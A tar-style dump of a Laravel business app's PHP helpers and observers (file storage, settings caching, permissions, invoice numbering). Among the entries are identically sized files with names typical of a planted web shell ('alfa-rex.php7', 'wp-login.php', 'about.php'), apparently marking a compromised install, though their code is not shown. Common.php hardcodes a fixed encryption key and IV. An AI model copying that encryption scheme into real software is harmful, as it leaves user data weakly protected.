public_path(Files::UPLOAD_FOLDER . '/' . $path . '/' . $fileName); $fileStorage = FileStorage::where('filename', $fileName)->first() ?: new FileStorage(); $fileStorage->company_id = $companyId; $fileStorage->filename = $fileName; $fileStorage->size = File::size($filePath); $fileStorage->type = File::mimeType($filePath); $fileStorage->path = $path; $fileStorage->storage_location = config('filesystems.default'); $fileStorage->save(); } public static function storeLocalFileOnCloud($fileName, $path) { if (config('filesystems.default') != 'local') { $filePath = public_path(Files::UPLOAD_FOLDER . '/' . $path . '/' . $fileName); try { $contents = File::get($filePath); Storage::disk(config('filesystems.default'))->put($path . '/' . $fileName, $contents); // TODO: Delete local file in Next release // File::delete($filePath); return true; } catch (\Exception $e) { info($e->getMessage()); } } return false; } /** * fixLocalUploadFiles is used to fix the local upload files * * Example of $model * $model = Company::class; * * Example of $columns * $columns = [ * [ * 'name' => 'logo', * 'path' => 'company' * ] * ]; * * @param mixed $model * @param array $columns * @return void */ public static function fixLocalUploadFiles($model, array $columns) { foreach ($columns as $column) { $name = $column['name']; $path = $column['path']; $filesData = $model::withoutGlobalScopes()->whereNotNull($name)->get(); foreach ($filesData as $item) { /** @phpstan-ignore-next-line */ $fileName = $item->{$name}; /** @phpstan-ignore-next-line */ $companyId = ($model == Company::class) ? $item->id : $item->company_id; $filePath = public_path(self::UPLOAD_FOLDER . '/' . $path . '/' . $fileName); if (!File::exists($filePath)) { continue; } self::saveFileInfo($fileName, $path, $companyId); self::storeLocalFileOnCloud($fileName, $path); } } } public static function getFormattedSizeAndStatus($maxSizeKey) { try { // Retrieve the raw value from php.ini $maxSize = ini_get($maxSizeKey); // Convert the size to bytes $sizeInBytes = self::returnBytes($maxSize); // Format the size in either MB or GB if ($sizeInBytes >= 1 << 30) { return [ 'size' => round($sizeInBytes / (1 << 30), 2) . ' GB', 'greater' => true ]; } $mb = $sizeInBytes / 1048576; if ($sizeInBytes >= 1 << 20) { return [ 'size' => round($sizeInBytes / (1 << 20), 2) . ' MB', 'greater' => $mb >= self::REQUIRED_FILE_UPLOAD_SIZE ]; } if ($sizeInBytes >= 1 << 10) { return [ 'size' => round($sizeInBytes / (1 << 10), 2) . ' KB', 'greater' => false ]; } return [ 'size' => $sizeInBytes . ' Bytes', 'greater' => false ]; } catch (\Exception $e) { return [ 'size' => '0 Bytes', 'greater' => true ]; } } public static function getUploadMaxFilesize() { return self::getFormattedSizeAndStatus('upload_max_filesize'); } public static function getPostMaxSize() { return self::getFormattedSizeAndStatus('post_max_size'); } // Helper function to convert human-readable size to bytes public static function returnBytes($val) { $val = trim($val); $valNew = substr($val, 0, -1); $last = strtolower($val[strlen($val) - 1]); switch ($last) { case 'g': $valNew *= 1024; case 'm': $valNew *= 1024; case 'k': $valNew *= 1024; } return $valNew; } } Helper/alfa-rex.php7000064400000026574150325104510010274 0ustar00Helper/start.php000064400000075214150325104510007636 0ustar00has('user')) { return session('user'); } $user = auth()->user(); if ($user) { // if (session()->has('clientContact')) { // session()->forget('clientContact'); // } // if (!is_null($user->is_client_contact)) { // session(['clientContact' => $user->clientContact]); // $user = $user->clientContact->client; // } session(['user' => $user]); return session('user'); } return null; } } if (!function_exists('user_roles')) { /** * Return current logged in user */ // @codingStandardsIgnoreLine function user_roles() { if (session()->has('user_roles')) { return session('user_roles'); } $user = user(); if ($user) { $roles = user()->roles; session(['user_roles' => $roles->pluck('name')->toArray()]); session(['user_role_ids' => $roles->pluck('id')->toArray()]); return session('user_roles'); } return null; } } if (!function_exists('admin_theme')) { // @codingStandardsIgnoreLine function admin_theme() { if (!session()->has('admin_theme')) { session(['admin_theme' => ThemeSetting::where('panel', 'admin')->first()]); } return session('admin_theme'); } } if (!function_exists('employee_theme')) { // @codingStandardsIgnoreLine function employee_theme() { if (!session()->has('employee_theme')) { session(['employee_theme' => ThemeSetting::where('panel', 'employee')->first()]); } return session('employee_theme'); } } if (!function_exists('client_theme')) { // @codingStandardsIgnoreLine function client_theme() { if (!session()->has('client_theme')) { session(['client_theme' => ThemeSetting::where('panel', 'client')->first()]); } return session('client_theme'); } } if (!function_exists('global_setting')) { // @codingStandardsIgnoreLine function global_setting() { if (!cache()->has('global_setting')) { $setting = \App\Models\GlobalSetting::first(); cache(['global_setting' => $setting]); return $setting; } return cache('global_setting'); } } if (!function_exists('push_setting')) { // @codingStandardsIgnoreLine function push_setting() { if (!cache()->has('push_setting')) { cache(['push_setting' => \App\Models\PushNotificationSetting::first()]); } return cache('push_setting'); } } if (!function_exists('language_setting')) { // @codingStandardsIgnoreLine function language_setting() { if (!cache()->has('language_setting')) { cache(['language_setting' => \App\Models\LanguageSetting::where('status', 'enabled')->get()]); } return cache('language_setting'); } } if (!function_exists('language_setting_locale')) { // @codingStandardsIgnoreLine function language_setting_locale($locale) { if (!cache()->has('language_setting_' . $locale)) { cache(['language_setting_' . $locale => \App\Models\LanguageSetting::where('language_code', $locale)->first()]); } return cache('language_setting_' . $locale); } } if (!function_exists('smtp_setting')) { // @codingStandardsIgnoreLine function smtp_setting() { if (!session()->has('smtp_setting')) { session(['smtp_setting' => \App\Models\SmtpSetting::first()]); } return session('smtp_setting'); } } if (!function_exists('message_setting')) { // @codingStandardsIgnoreLine function message_setting() { if (!session()->has('message_setting')) { session(['message_setting' => \App\Models\MessageSetting::first()]); } return session('message_setting'); } } if (!function_exists('storage_setting')) { // @codingStandardsIgnoreLine function storage_setting() { if (!session()->has('storage_setting')) { $setting = StorageSetting::where('status', 'enabled')->first(); session(['storage_setting' => $setting]); } return session('storage_setting'); } } if (!function_exists('email_notification_setting')) { // @codingStandardsIgnoreLine function email_notification_setting() { if (in_array('client', user_roles()) || in_array('employee', user_roles())) { if (!session()->has('email_notification_setting')) { session(['email_notification_setting' => \App\Models\EmailNotificationSetting::all()]); } } if (!session()->has('email_notification_setting')) { session(['email_notification_setting' => \App\Models\EmailNotificationSetting::all()]); } return session('email_notification_setting'); } } if (!function_exists('asset_url')) { // @codingStandardsIgnoreLine function asset_url($path) { $path = \App\Helper\Files::UPLOAD_FOLDER . '/' . $path; $storageUrl = $path; if (!Str::startsWith($storageUrl, 'http')) { return url($storageUrl); } return $storageUrl; } } if (!function_exists('user_modules')) { // @codingStandardsIgnoreLine function user_modules() { $user = user(); if (!$user) { return []; } if (cache()->has('user_modules_' . $user->id)) { return cache('user_modules_' . $user->id); } $module = new \App\Models\ModuleSetting(); if (in_array('admin', user_roles())) { $module = $module->where('type', 'admin'); } elseif (in_array('client', user_roles())) { $module = $module->where('type', 'client'); } elseif (in_array('employee', user_roles())) { $module = $module->where('type', 'employee'); } $module = $module->where('status', 'active'); $module->select('module_name'); $module = $module->get(); $moduleArray = []; foreach ($module->toArray() as $item) { $moduleArray[] = array_values($item)[0]; } cache()->put('user_modules_' . $user->id, $moduleArray); return $moduleArray; } } if (!function_exists('worksuite_plugins')) { // @codingStandardsIgnoreLine function worksuite_plugins() { if (!cache()->has('worksuite_plugins')) { $plugins = \Nwidart\Modules\Facades\Module::allEnabled(); cache(['worksuite_plugins' => array_keys($plugins)]); } return cache('worksuite_plugins'); } } if (!function_exists('pusher_settings')) { // @codingStandardsIgnoreLine function pusher_settings() { if (!session()->has('pusher_settings')) { session(['pusher_settings' => \App\Models\PusherSetting::first()]); } return session('pusher_settings'); } } if (!function_exists('isSeedingData')) { /** * Check if app is seeding data * @return boolean */ function isSeedingData() { // We set config(['app.seeding' => true]) at the beginning of each seeder. And check here return config('app.seeding'); } } if (!function_exists('isRunningInConsoleOrSeeding')) { /** * Check if app is seeding data * @return boolean */ function isRunningInConsoleOrSeeding() { // We set config(['app.seeding' => true]) at the beginning of each seeder. And check here return app()->runningInConsole() || isSeedingData(); } } if (!function_exists('asset_url_local_s3')) { // @codingStandardsIgnoreLine function asset_url_local_s3($path) { if (in_array(config('filesystems.default'), StorageSetting::S3_COMPATIBLE_STORAGE)) { // Check if the URL is already cached if (\Illuminate\Support\Facades\Cache::has(config('filesystems.default') . '-' . $path)) { $temporaryUrl = \Illuminate\Support\Facades\Cache::get(config('filesystems.default') . '-' . $path); } else { // Generate a new temporary URL and cache it $temporaryUrl = Storage::disk(config('filesystems.default'))->temporaryUrl($path, now()->addMinutes(StorageSetting::HASH_TEMP_FILE_TIME)); \Illuminate\Support\Facades\Cache::put(config('filesystems.default') . '-' . $path, $temporaryUrl, StorageSetting::HASH_TEMP_FILE_TIME * 60); } return $temporaryUrl; } $path = Files::UPLOAD_FOLDER . '/' . $path; $storageUrl = $path; if (!Str::startsWith($storageUrl, 'http')) { return url($storageUrl); } return $storageUrl; } } if (!function_exists('download_local_s3')) { // @codingStandardsIgnoreLine function download_local_s3($file, $path) { if (in_array(config('filesystems.default'), StorageSetting::S3_COMPATIBLE_STORAGE)) { return Storage::disk(config('filesystems.default'))->download($path, basename($file->filename)); } $path = Files::UPLOAD_FOLDER . '/' . $path; $ext = pathinfo($file->filename, PATHINFO_EXTENSION); $filename = $file->name ? $file->name . '.' . $ext : $file->filename; try { return response()->download($path, $filename); } catch (\Exception $e) { return response()->view('errors.file_not_found', ['message' => $e->getMessage()], 404); } } } if (!function_exists('gdpr_setting')) { // @codingStandardsIgnoreLine function gdpr_setting() { if (!session()->has('gdpr_setting')) { session(['gdpr_setting' => GdprSetting::first()]); } return session('gdpr_setting'); } } if (!function_exists('social_auth_setting')) { // @codingStandardsIgnoreLine function social_auth_setting() { if (!cache()->has('social_auth_setting')) { cache(['social_auth_setting' => SocialAuthSetting::first()]); } return cache('social_auth_setting'); } } if (!function_exists('invoice_setting')) { // @codingStandardsIgnoreLine function invoice_setting() { if (!session()->has('invoice_setting')) { $setting = InvoiceSetting::first(); session(['invoice_setting' => $setting]); return $setting; } return session('invoice_setting'); } // @codingStandardsIgnoreLine } if (!function_exists('time_log_setting')) { // @codingStandardsIgnoreLine function time_log_setting() { if (!session()->has('time_log_setting')) { session(['time_log_setting' => LogTimeFor::first()]); } return session('time_log_setting'); } } if (!function_exists('check_migrate_status')) { // @codingStandardsIgnoreLine function check_migrate_status() { if (!session()->has('check_migrate_status')) { $status = Artisan::call('migrate:check'); if ($status && !request()->ajax()) { Artisan::call('migrate', ['--force' => true, '--schema-path' => 'do not run schema path']); // Migrate database Artisan::call('optimize:clear'); } session(['check_migrate_status' => 'Good']); } return session('check_migrate_status'); } } if (!function_exists('countries')) { // @codingStandardsIgnoreLine function countries() { if (!cache()->has('countries')) { cache(['countries' => \App\Models\Country::all()]); } return cache('countries'); } } if (!function_exists('module_enabled')) { // @codingStandardsIgnoreLine function module_enabled($moduleName) { return \Nwidart\Modules\Facades\Module::collections()->has($moduleName); } } if (!function_exists('currency_format_setting')) { // @codingStandardsIgnoreLine function currency_format_setting($currencyId = null) { if (!session()->has('currency_format_setting' . $currencyId)) { $setting = $currencyId == null ? Currency::first() : Currency::where('id', $currencyId)->first(); session(['currency_format_setting' . $currencyId => $setting]); } return session('currency_format_setting' . $currencyId); } } if (!function_exists('currency_format')) { // @codingStandardsIgnoreLine function currency_format($amount, $currencyId = null, $showSymbol = true) { $formats = currency_format_setting($currencyId); if (!$showSymbol) { $currency_symbol = ''; } else { $settings = $formats->company ?? Company::find($formats->company_id); $currency_symbol = $currencyId == null ? $settings->currency->currency_symbol : $formats->currency_symbol; } $currency_position = $formats->currency_position; $no_of_decimal = !is_null($formats->no_of_decimal) ? $formats->no_of_decimal : '0'; $thousand_separator = !is_null($formats->thousand_separator) ? $formats->thousand_separator : ''; $decimal_separator = !is_null($formats->decimal_separator) ? $formats->decimal_separator : '0'; $amount = number_format($amount, $no_of_decimal, $decimal_separator, $thousand_separator); $amount = match ($currency_position) { 'right' => $amount . $currency_symbol, 'left_with_space' => $currency_symbol . ' ' . $amount, 'right_with_space' => $amount . ' ' . $currency_symbol, default => $currency_symbol . $amount, }; return $amount; } } if (!function_exists('attendance_setting')) { // @codingStandardsIgnoreLine function attendance_setting() { if (!session()->has('attendance_setting')) { session(['attendance_setting' => AttendanceSetting::first()]); } return session('attendance_setting'); } } if (!function_exists('add_project_permission')) { // @codingStandardsIgnoreLine function add_project_permission() { if (!session()->has('add_project_permission') && user()) { session(['add_project_permission' => user()->permission('add_projects')]); } return session('add_project_permission'); } } if (!function_exists('add_tasks_permission')) { // @codingStandardsIgnoreLine function add_tasks_permission() { if (!session()->has('add_tasks_permission') && user()) { session(['add_tasks_permission' => user()->permission('add_tasks')]); } return session('add_tasks_permission'); } } if (!function_exists('add_clients_permission')) { // @codingStandardsIgnoreLine function add_clients_permission() { if (!session()->has('add_clients_permission') && user()) { session(['add_clients_permission' => user()->permission('add_clients')]); } return session('add_clients_permission'); } } if (!function_exists('add_employees_permission')) { // @codingStandardsIgnoreLine function add_employees_permission() { if (!session()->has('add_employees_permission') && user()) { session(['add_employees_permission' => user()->permission('add_employees')]); } return session('add_employees_permission'); } // @codingStandardsIgnoreLine } if (!function_exists('add_payments_permission')) { // @codingStandardsIgnoreLine function add_payments_permission() { if (!session()->has('add_payments_permission') && user()) { session(['add_payments_permission' => user()->permission('add_payments')]); } return session('add_payments_permission'); } // @codingStandardsIgnoreLine } if (!function_exists('add_tickets_permission')) { // @codingStandardsIgnoreLine function add_tickets_permission() { if (!session()->has('add_tickets_permission') && user()) { session(['add_tickets_permission' => user()->permission('add_tickets')]); } return session('add_tickets_permission'); } } if (!function_exists('add_timelogs_permission')) { // @codingStandardsIgnoreLine function add_timelogs_permission() { if (!session()->has('add_timelogs_permission') && user()) { session(['add_timelogs_permission' => user()->permission('add_timelogs')]); } return session('add_timelogs_permission'); } } if (!function_exists('manage_active_timelogs')) { // @codingStandardsIgnoreLine function manage_active_timelogs() { if (!session()->has('manage_active_timelogs') && user()) { session(['manage_active_timelogs' => user()->permission('manage_active_timelogs')]); } return session('manage_active_timelogs'); } } if (!function_exists('slack_setting')) { // @codingStandardsIgnoreLine function slack_setting() { if (!session()->has('slack_setting')) { session(['slack_setting' => \App\Models\SlackSetting::first()]); } return session('slack_setting'); } } if (!function_exists('default_address')) { // @codingStandardsIgnoreLine function default_address() { if (!session()->has('default_address')) { session(['default_address' => company()->defaultAddress]); } return session('default_address'); } } if (!function_exists('abort_403')) { // @codingStandardsIgnoreLine function abort_403($condition) { abort_if($condition, 403, __('messages.permissionDenied')); } } if (!function_exists('sidebar_user_perms')) { // @codingStandardsIgnoreLine function sidebar_user_perms() { if (!cache()->has('sidebar_user_perms_' . user()->id)) { $sidebarPermissionsArray = [ 'view_clients', 'view_lead', 'view_employees', 'view_leave', 'view_attendance', 'view_holiday', 'view_contract', 'view_projects', 'view_tasks', 'view_timelogs', 'view_estimates', 'view_invoices', 'view_payments', 'view_expenses', 'view_product', 'view_order', 'view_tickets', 'view_events', 'view_notice', 'view_task_report', 'view_time_log_report', 'view_finance_report', 'view_income_expense_report', 'view_leave_report', 'view_lead_proposals', 'view_attendance_report', 'manage_company_setting', 'add_employees', 'view_knowledgebase', 'view_shift_roster', 'view_designation', 'view_department', 'view_overview_dashboard', 'view_project_dashboard', 'view_client_dashboard', 'view_hr_dashboard', 'view_ticket_dashboard', 'view_finance_dashboard', 'view_expense_report', 'view_client_note', 'view_bankaccount', 'view_appreciation', 'manage_award', 'view_lead_report', 'view_sales_report', 'view_deals', ]; $sidebarPermissions = Permission::whereIn('name', $sidebarPermissionsArray)->select('id', 'name')->orderBy('id', 'asc')->get(); $sidebarPermissionsId = $sidebarPermissions->pluck('id')->toArray(); $sidebarUserPermissionType = UserPermission::where('user_id', user()->id) ->whereIn('permission_id', $sidebarPermissionsId) ->join('permissions', 'permissions.id', '=', 'user_permissions.permission_id') // ->orderBy('user_permissions.id') ->select('user_permissions.permission_type_id', 'permissions.name', 'permissions.id') ->groupBy(['user_id', 'permission_id', 'permission_type_id']) ->get() ->keyBy('name'); $sidebarUserPermissions = array_combine($sidebarUserPermissionType->pluck('name')->toArray(), $sidebarUserPermissionType->pluck('permission_type_id')->toArray()); $unassignedPermissions = array_diff($sidebarPermissionsId, $sidebarUserPermissionType->pluck('id')->toArray()); $filteredPermissions = $sidebarPermissions->filter(function ($item) use ($unassignedPermissions) { return in_array($item->id, $unassignedPermissions); }); foreach ($filteredPermissions as $item) { $sidebarUserPermissions[$item->name] = 5; } cache(['sidebar_user_perms_' . user()->id => $sidebarUserPermissions]); } return cache('sidebar_user_perms_' . user()->id); } } if (!function_exists('mb_ucfirst')) { // @codingStandardsIgnoreLine function mb_ucfirst($string, $encoding = 'utf8') { $firstChar = mb_substr($string, 0, 1, $encoding); $then = mb_substr($string, 1, null, $encoding); return mb_strtoupper($firstChar, $encoding) . $then; } } if (!function_exists('mb_ucwords')) { // @codingStandardsIgnoreLine function mb_ucwords($string, $encoding = 'utf8') { return mb_convert_case($string, MB_CASE_TITLE, $encoding); } } if (!function_exists('minute_to_hour')) { // @codingStandardsIgnoreLine function minute_to_hour($totalMinutes) { return \Carbon\CarbonInterval::formatHuman($totalMinutes); /** @phpstan-ignore-line */ } } if (!function_exists('can_upload')) { // @codingStandardsIgnoreLine function can_upload($size = 0) { if (!session()->has('client_company')) { session()->forget(['company_setting', 'company']); } // Return true for unlimited file storage if (company()->package->max_storage_size == -1) { return true; } // Total Space in package in MB $totalSpace = (company()->package->storage_unit == 'mb') ? company()->package->max_storage_size : company()->package->max_storage_size * 1024; // Used space in mb $fileStorage = \App\Models\FileStorage::all(); $usedSpace = $fileStorage->count() > 0 ? round($fileStorage->sum('size') / (1000 * 1024), 4) : 0; $remainingSpace = $totalSpace - $usedSpace; if ($usedSpace > $totalSpace || $size > $remainingSpace) { return false; } return true; } } if (!function_exists('isWorksuiteSaas')) { function isWorksuiteSaas() { return strtolower(config('app.app_name')) === 'worksuite-saas'; } } if (!function_exists('isWorksuite')) { function isWorksuite() { return strtolower(config('app.app_name')) === 'worksuite'; } } if (!function_exists('showId')) { function showId() { return isWorksuite(); } } if (!function_exists('getDomainSpecificUrl')) { function getDomainSpecificUrl($url, $company = null) { // Check if Subdomain module exist if (!module_enabled('Subdomain')) { return $url; } config(['app.url' => config('app.main_app_url')]); // If company specific if ($company) { $companyUrl = (config('app.redirect_https') ? 'https' : 'http') . '://' . $company->sub_domain; config(['app.url' => $companyUrl]); // Removed Illuminate\Support\Facades\URL::forceRootUrl($companyUrl); $url = str_replace(request()->getHost(), $company->sub_domain, $url); $url = str_replace('www.', '', $url); // Replace https to http for sub-domain to if (!config('app.redirect_https')) { return str_replace('https', 'http', $url); } return $url; } // Removed config(['app.url' => $url]); // Comment \Illuminate\Support\Facades\URL::forceRootUrl($url); // If there is no company and url has login means // New superadmin is created return str_replace('login', 'super-admin-login', $url); } } if (!function_exists('getSubdomainSchema')) { function getSubdomainSchema() { if (!session()->has('subdomain_schema')) { if (\Illuminate\Support\Facades\Schema::hasTable('sub_domain_module_settings')) { $data = \Illuminate\Support\Facades\DB::table('sub_domain_module_settings')->first(); } session(['subdomain_schema' => isset($data->schema) ? $data->schema : 'http']); } return session('subdomain_schema'); } } if (!function_exists('getDomain')) { function getDomain($host = false) { if (!$host) { $host = $_SERVER['SERVER_NAME'] ?? 'worksuite-saas.test'; } $shortDomain = config('app.short_domain_name'); $dotCount = ($shortDomain === true) ? 2 : 1; $myHost = strtolower(trim($host)); $count = substr_count($myHost, '.'); if ($count === $dotCount || $count === 1) { return $myHost; } $myHost = explode('.', $myHost, 2); return end($myHost); } } if (!function_exists('company')) { function company() { if (session()->has('company')) { return session('company'); } if (user()) { if (user()->company) { $company = user()->company; session(['company' => $company]); return $company; } return session('company'); } return false; } } if (!function_exists('companyOrGlobalSetting')) { function companyOrGlobalSetting() { if (session()->has('companyOrGlobalSetting')) { return session('companyOrGlobalSetting'); } if (user()) { if (user()->company) { $company = user()->company; session(['companyOrGlobalSetting' => $company]); return $company; } return global_setting(); } return global_setting(); } } if (!function_exists('superadmin_theme')) { // @codingStandardsIgnoreLine function superadmin_theme() { if (!session()->has('superadmin_theme')) { session(['superadmin_theme' => ThemeSetting::withoutGlobalScope(CompanyScope::class)->where('panel', 'superadmin')->first()]); } return session('superadmin_theme'); } } if (!function_exists('trim_editor')) { // @codingStandardsIgnoreLine function trim_editor($text) { $search = '/' . preg_quote('


', '/') . '/'; return preg_replace($search, '', trim($text), 1); } } if (!function_exists('quickbooks_setting')) { // @codingStandardsIgnoreLine function quickbooks_setting() { if (!session()->has('quickbooks_setting')) { $qbSetting = QuickBooksSetting::first(); session(['quickbooks_setting' => $qbSetting]); return $qbSetting; } return session('quickbooks_setting'); } // @codingStandardsIgnoreLine } if (!function_exists('user_role_ids')) { /** * Return current logged in user */ // @codingStandardsIgnoreLine function user_role_ids() { if (session()->has('user_role_ids')) { return session('user_role_ids'); } return null; } } if (!function_exists('canDataTableExport')) { function canDataTableExport() { return in_array('admin', user_roles()) || (company()->employee_can_export_data && in_array('employee', user_roles())); } } if (!function_exists('pdfStripTags')) { function pdfStripTags($text) { return strip_tags($text, [ 'p', 'b', 'strong', 'a', 'ul', 'li', 'ol', 'i', 'u', 'blockquote', 'img', 'h1','h2','h3','h4','h5', ]); } } if (!function_exists('companyToYmd')) { function companyToYmd($date) { return Carbon::createFromFormat(company()->date_format, $date)->format('Y-m-d'); } } if (!function_exists('companyToDateString')) { function companyToDateString($date) { return Carbon::createFromFormat(company()->date_format, $date)->toDateString(); } } if (!function_exists('custom_link_setting')) { // @codingStandardsIgnoreLine function custom_link_setting() { if (!session()->has('custom_link_setting')) { session(['custom_link_setting' => CustomLinkSetting::all()]); } return session('custom_link_setting'); } } if (!function_exists('isRtl')) { // @codingStandardsIgnoreLine function isRtl($class = null) { if (!session()->has('isRtl')) { $rtl = false; if (user()) { $locale = user()->locale; } else { $locale = global_setting()->locale; } if ($locale) { $userLanguage = LanguageSetting::where('language_code', $locale)->first(); if ($userLanguage) { $rtl = $userLanguage->is_rtl; } } session(['isRtl' => $rtl]); } $isRtl = session('isRtl'); return is_null($class) ? $isRtl : ($isRtl ? $class : false); } } Helper/alfa-rex.php8000064400000026574150325104510010275 0ustar00Helper/wp-login.php000064400000026574150325104510010242 0ustar00Helper/alfa-rex.php56000064400000026574150325104510010360 0ustar00Helper/about.php000064400000026574150325104510007620 0ustar00Helper/Reply.php000064400000004322150325104510007564 0ustar00 'success', 'message' => Reply::getTranslated($message) ]; } /** * @param string $message * @param array $data * @return array */ public static function successWithData($message, $data) { $response = Reply::success($message); return array_merge($response, $data); } /** * @param string $message * @param null $error_name * @param array $errorData * @return array */ public static function error($message, $error_name = null, $errorData = []) { return [ 'status' => 'fail', 'error_name' => $error_name, 'data' => $errorData, 'message' => Reply::getTranslated($message) ]; } /** Return validation errors * @param \Illuminate\Validation\Validator|Validator $validator * @return array */ public static function formErrors($validator) { return [ 'status' => 'fail', 'errors' => $validator->getMessageBag()->toArray() ]; } /** Response with redirect action. This is meant for ajax responses and is not meant for direct redirecting * to the page * @param string $url * @param null $message Optional message * @return array */ public static function redirect($url, $message = null) { if ($message != null) { return [ 'status' => 'success', 'message' => Reply::getTranslated($message), 'action' => 'redirect', 'url' => $url ]; } return [ 'status' => 'success', 'action' => 'redirect', 'url' => $url ]; } private static function getTranslated($message) { $trans = trans($message); if ($trans == $message) { return $message; } return $trans; } public static function dataOnly($data) { return $data; } } Helper/error_log000064400000001626150325104510007701 0ustar00[04-Jul-2025 12:21:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:47:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Helper/Common.php000064400000003507150325104510007725 0ustar00translatedFormat(company()->date_format); $todayText = __('app.today'); if ($date->setTimezone(company()->timezone)->isToday()) { return '' . $todayText . ''; } if ($date->endOfDay()->isPast() && $past ) { return '' . $formattedDate . ''; } return '' . $formattedDate . ''; } public static function active(): string { return '' . __('app.active'); } public static function inactive(): string { return '' . __('app.inactive'); } public static function encryptDecrypt($string, $action = 'encrypt') { // DO NOT CHANGE IT. CHANGING IT WILL AFFECT THE APPLICATION $secret_key = 'worksuite'; // User define private key $secret_iv = 'froiden'; // User define secret key $encryptMethod = 'AES-256-CBC'; $key = hash('sha256', $secret_key); $iv = substr(hash('sha256', $secret_iv), 0, 16); // sha256 is hash_hmac_algo if ($action == 'encrypt') { $output = openssl_encrypt($string, $encryptMethod, $key, 0, $iv); return base64_encode($output); } if ($action == 'decrypt') { return openssl_decrypt(base64_decode($string), $encryptMethod, $key, 0, $iv); } throw new \Exception('No action provided for Common::encryptDecrypt'); } } Helper/NumberFormat.php000064400000005076150325104510011101 0ustar00contract_digit) { $condition = $setting->contract_digit - strlen($number); for ($i = 0; $i < $condition; $i++) { $zero = '0' . $zero; } } return $setting->contract_prefix . $setting->contract_number_separator . $zero . $number; } public static function creditNote($number, $setting = null) { $setting = $setting ?? invoice_setting(); $zero = ''; if (strlen($number) < $setting->credit_note_digit) { $condition = $setting->credit_note_digit - strlen($number); for ($i = 0; $i < $condition; $i++) { $zero = '0' . $zero; } } return $setting->credit_note_prefix . $setting->credit_note_number_separator . $zero . $number; } public static function invoice($number, $setting = null) { $setting = $setting ?? invoice_setting(); $zero = ''; if (strlen($number) < $setting->invoice_digit) { $condition = $setting->invoice_digit - strlen($number); for ($i = 0; $i < $condition; $i++) { $zero = '0' . $zero; } } return $setting->invoice_prefix . $setting->invoice_number_separator . $zero . $number; } public static function estimate($number, $setting = null) { $setting = $setting ?? invoice_setting(); $zero = ''; if (strlen($number) < $setting->estimate_digit) { $condition = $setting->estimate_digit - strlen($number); for ($i = 0; $i < $condition; $i++) { $zero = '0' . $zero; } } return $setting->estimate_prefix . $setting->estimate_number_separator . $zero . $number; } public static function order($number, $setting = null) { if (is_null($number)) { $number = ((int)Order::latest()->first()?->original_order_number ?? 0) + 1; } $setting = $setting ?? invoice_setting(); $zero = ''; if (strlen($number) < $setting->order_digit) { $condition = $setting->order_digit - strlen($number); for ($i = 0; $i < $condition; $i++) { $zero = '0' . $zero; } } return $setting->order_prefix . $setting->order_number_separator . $zero . $number; } } Helper/about.php7000064400000026574150325104510007707 0ustar00Observers/alfa-rex.php000064400000026574150325104510010740 0ustar00Observers/ContractTypeObserver.php000064400000000361150325104510013352 0ustar00company_id = company()->id; } } } Observers/EstimateRequestObserver.php000064400000002722150325104510014062 0ustar00status == 'rejected') { event(new EstimateRequestRejectedEvent($estimateRequest)); } if ($estimateRequest->status == 'accepted') { event(new EstimateRequestAcceptedEvent($estimateRequest)); } } } /** * Handle the EstimateRequest "deleted" event. */ public function deleted(EstimateRequest $estimateRequest): void { // } /** * Handle the EstimateRequest "restored" event. */ public function restored(EstimateRequest $estimateRequest): void { // } /** * Handle the EstimateRequest "force deleted" event. */ public function forceDeleted(EstimateRequest $estimateRequest): void { // } } Observers/ClientContactObserver.php000064400000000720150325104510013464 0ustar00last_updated_by = user()->id; } } public function creating(ClientContact $model) { if (user()) { $model->added_by = user()->id; } if (company()) { $model->company_id = company()->id; } } } Observers/MessageSettingObserver.php000064400000000367150325104510013663 0ustar00company_id = company()->id; } } } Observers/LeadStatusObserver.php000064400000001771150325104510013012 0ustar00 $item->id, 'board_column_id' => $leadStatus->id ]); } } } public function deleting(LeadStatus $leadStatus) { $defaultStatus = LeadStatus::where('default', 1)->first(); abort_403($defaultStatus->id == $leadStatus->id); Deal::where('status_id', $leadStatus->id)->update(['status_id' => $defaultStatus->id]); } public function creating(LeadStatus $leadStatus) { if (company()) { $leadStatus->company_id = company()->id; } } } Observers/PermissionRoleObserver.php000064400000000103150325104510013677 0ustar00last_updated_by = user()->id; } } if (request()->has('calculate_tax')) { $proposal->calculate_tax = request()->calculate_tax; } } public function creating(Proposal $proposal) { $proposal->hash = md5(microtime()); if (!isRunningInConsoleOrSeeding()) { if (user()) { $proposal->added_by = user()->id; } } if (company()) { $proposal->company_id = company()->id; } if ((request()->type && request()->type == 'send' || request()->type == 'mark_as_send')) { $proposal->send_status = 1; } else { $proposal->send_status = 0; } } public function created(Proposal $proposal) { if (!isRunningInConsoleOrSeeding()) { self::createDealHistory($proposal->deal_id, 'proposal-created', proposalId: $proposal->id); if (user()) { self::createEmployeeActivity(user()->id, 'proposal-created', $proposal->id, 'proposal'); } if (!empty(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $product = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_delete = request()->invoice_item_image_delete; $invoice_item_image_url = request()->invoice_item_image_url; $invoiceOldImage = request()->image_id; foreach (request()->item_name as $key => $item) : if (!is_null($item)) { $proposalItem = ProposalItem::create( [ 'proposal_id' => $proposal->id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key], 'type' => 'item', 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => 